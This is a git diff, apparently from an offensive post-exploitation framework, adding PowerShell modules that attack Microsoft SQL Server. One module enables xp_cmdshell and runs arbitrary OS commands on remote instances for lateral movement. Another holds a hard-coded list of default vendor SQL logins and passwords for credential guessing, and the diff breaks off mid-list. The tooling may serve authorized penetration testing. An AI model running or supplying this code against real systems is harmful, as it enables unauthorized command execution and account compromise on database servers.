+ $Row.Column + "`n" + "Sample : " + $Row.Sample + "`n" + "RowCount : " + $Row.RowCount + "`n" + "`n" + } + } +} \ No newline at end of file diff --git a/data/module_source/collection/Get-SQLQuery.ps1 b/data/module_source/collection/Get-SQLQuery.ps1 new file mode 100644 index 0000000..32aec11 --- /dev/null +++ b/data/module_source/collection/Get-SQLQuery.ps1 @@ -0,0 +1,113 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} + +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + "$Instance : Connection Success.`n" + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + # pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults.Column1} + } +} diff --git a/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 b/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 new file mode 100644 index 0000000..0f63b78 --- /dev/null +++ b/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 @@ -0,0 +1,236 @@ +Function Get-ComputerNameFromInstance +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin + { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } + Process + { + if(-not $Instance){$Instance = $env:COMPUTERNAME} + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if($Username -and $Password){$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"} + else + { + $UserDomain = [Environment]::UserDomainName + $Username = [Environment]::UserName + $ConnectionectUser = "$UserDomain\$Username" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + return $Connection + } + End + { + } +} + +Function Get-SQLQuery +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin + { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } + Process + { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) + { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + #pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } + End + { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} + +Function Invoke-SQLOSCmd +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + Begin + { + if(-not $Instance){$Instance = $env:COMPUTERNAME} + if($Instance){$ProvideInstance = New-Object -TypeName PSObject -Property @{Instance = $Instance}} + } + Process + { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance){$Instance = $env:COMPUTERNAME} + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut} + + $Connection.Open() + "$Instance : Connection Success." + $DisableShowAdvancedOptions = 0 + $DisableXpCmdshell = 0 + + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatus = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + if($TblSysadminStatus.IsSysadmin -eq 'Yes') + { + "$Instance : You are a sysadmin." + $IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password + } + else{"$Instance : You are not a sysadmin. This command requires sysadmin privileges.";return} + + if ($IsShowAdvancedEnabled.config_value -eq 1){"$Instance : Show Advanced Options is already enabled."} + else + { + "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password + if($IsShowAdvancedEnabled2.config_value -eq 1){"$Instance : Enabled Show Advanced Options."} + else{"$Instance : Enabling Show Advanced Options failed. Aborting.";return} + } + if ($IsXpCmdshellEnabled.config_value -eq 1){"$Instance : xp_cmdshell is already enabled."} + else + { + "$Instance : xp_cmdshell is disabled." + $DisableXpCmdshell = 1 + Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password + $IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password + if($IsXpCmdshellEnabled2.config_value -eq 1){"$Instance : Enabled xp_cmdshell."} + else{"$Instance : Enabling xp_cmdshell failed. Aborting.";return} + } + "$Instance : Running command: $Command" + $Query = "EXEC master..xp_cmdshell '$Command'" + $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + "" + $CmdResults.output + if($DisableXpCmdshell -eq 1){"$Instance : Disabling xp_cmdshell";Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password} + if($DisableShowAdvancedOptions -eq 1){"$Instance : Disabling Show Advanced Options";Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password} + $Connection.Close() + $Connection.Dispose() + } + End + { + } +} diff --git a/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 new file mode 100644 index 0000000..64232ab --- /dev/null +++ b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 @@ -0,0 +1,589 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance) { + $ComputerName = $Instance.split('\')[0].split(',')[0] + } else { + $ComputerName = $env:COMPUTERNAME + } + Return $ComputerName +} +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } End { + $TblResults + } +} +Function Get-SQLSession { + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + $TblResults | ForEach-Object -Process { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus + ) + } + } End { + $TblSessions + } +} +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + + Begin { + if($DAC) { + $DacConn = 'ADMIN:' + } else { + $DacConn = '' + } + + if(-not $Database) { + $Database = 'Master' + } + } Process { + if ( -not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if (-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + if($Query) { + try { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + $Connection.Close() + $Connection.Dispose() + } catch { + #Pass + } + } else { + Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Break + } + } End { + $TblQueryResults + } +} +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + Where-Object -FilterScript { + $_.SessionStatus -eq 'running' + } | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines + + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + if($IsSysadmin -eq 'Yes') { + $SysadminSetup = " + -- Get machine type + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + -- Get OS version + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " -- Get SQL Server Information + -- Get SQL Server Service Name and Path + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + -- Get SQL Server Service Account + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + -- Get authentication mode + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + -- Grab additional information as sysadmin + $SysadminSetup + -- Return server and version information + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + } End { + $TblServerInfo + } +} +Function Get-SQLServerLoginDefaultPw { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + # Table for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblResults.Columns.Add('Computer') | Out-Null + $TblResults.Columns.Add('Instance') | Out-Null + $TblResults.Columns.Add('Username') | Out-Null + $TblResults.Columns.Add('Password') | Out-Null + $TblResults.Columns.Add('IsSysAdmin') | Out-Null + + # Create table for database of defaults + $DefaultPasswords = New-Object System.Data.DataTable + $DefaultPasswords.Columns.Add('Instance') | Out-Null + $DefaultPasswords.Columns.Add('Username') | Out-Null + $DefaultPasswords.Columns.Add('Password') | Out-Null + + # Populate DefaultPasswords data table + $DefaultPasswords.Rows.Add("ACS","ej","ej") | Out-Null + $DefaultPasswords.Rows.Add("ACT7","sa","sage") | Out-Null + $DefaultPasswords.Rows.Add("AOM2","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("ARIS","ARIS9","*ARIS!1dm9n#") | out-null + $DefaultPasswords.Rows.Add("AutodeskVault","sa","AutodeskVault@26200") | Out-Null + $DefaultPasswords.Rows.Add("BOSCHSQL","sa","RPSsql12345") | Out-Null + $DefaultPasswords.Rows.Add("BPASERVER9","sa","AutoMateBPA9") | Out-Null + $DefaultPasswords.Rows.Add("CDRDICOM","sa","CDRDicom50!") | Out-Null + $DefaultPasswords.Rows.Add("CODEPAL","sa","Cod3p@l") | Out-Null + $DefaultPasswords.Rows.Add("CODEPAL08","sa","Cod3p@l") | Out-Null + $DefaultPasswords.Rows.Add("CounterPoint","sa","CounterPoint8") | Out-Null + $DefaultPasswords.Rows.Add("CSSQL05","ELNAdmin","ELNAdmin") | Out-Null + $DefaultPasswords.Rows.Add("CSSQL05","sa","CambridgeSoft_SA") | Out-Null + $DefaultPasswords.Rows.Add("CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!") | Out-Null + $DefaultPasswords.Rows.Add("DHLEASYSHIP","sa","DHLadmin@1") | Out-Null + $DefaultPasswords.Rows.Add("DPM","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("DVTEL","sa","") | Out-Null + $DefaultPasswords.Rows.Add("EASYSHIP","sa","DHLadmin@1") | Out-Null + $DefaultPasswords.Rows.Add("ECC","sa","Webgility2011") | Out-Null + $DefaultPasswords.Rows.Add("ECOPYDB","e+C0py2007_@x","e+C0py2007_@x") | Out-Null + $DefaultPasswords.Rows.Add("ECOPYDB","sa","ecopy") | Out-Null + $DefaultPasswords.Rows.Add("Emerson2012","sa","42Emerson42Eme") | Out-Null + $DefaultPasswords.Rows.Add("HDPS","sa","sa") | Out-Null + $DefaultPasswords.Rows.Add("HPDSS","sa","Hpdsdb000001") | Out-Null + $DefaultPasswords.Rows.Add("HPDSS","sa","hpdss") | Out-Null + $DefaultPasswords.Rows.Add("INSERTGT","msi","keyboa5") | Out-Null + $DefaultPasswords.Rows.Add("INSERTGT","sa","") | Out-Null + $DefaultPasswords.Rows.Add("INTRAVET","sa","Webster#1") | Out-Null + $DefaultPasswords.Rows.Add("MYMOVIES","sa","t9AranuHA7") | Out-Null + $DefaultPasswords.Rows.Add("PCAMERICA","sa","pcAmer1ca") | Out-Null + $DefaultPasswords.Rows.Add("PCAMERICA","sa","PCAmerica") | Out-Null + $DefaultPasswords.Rows.Add("PRISM","sa","SecurityMaster08") | Out-Null + $DefaultPasswords.Rows.Add("RMSQLDATA","Super","Orange") | out-null + 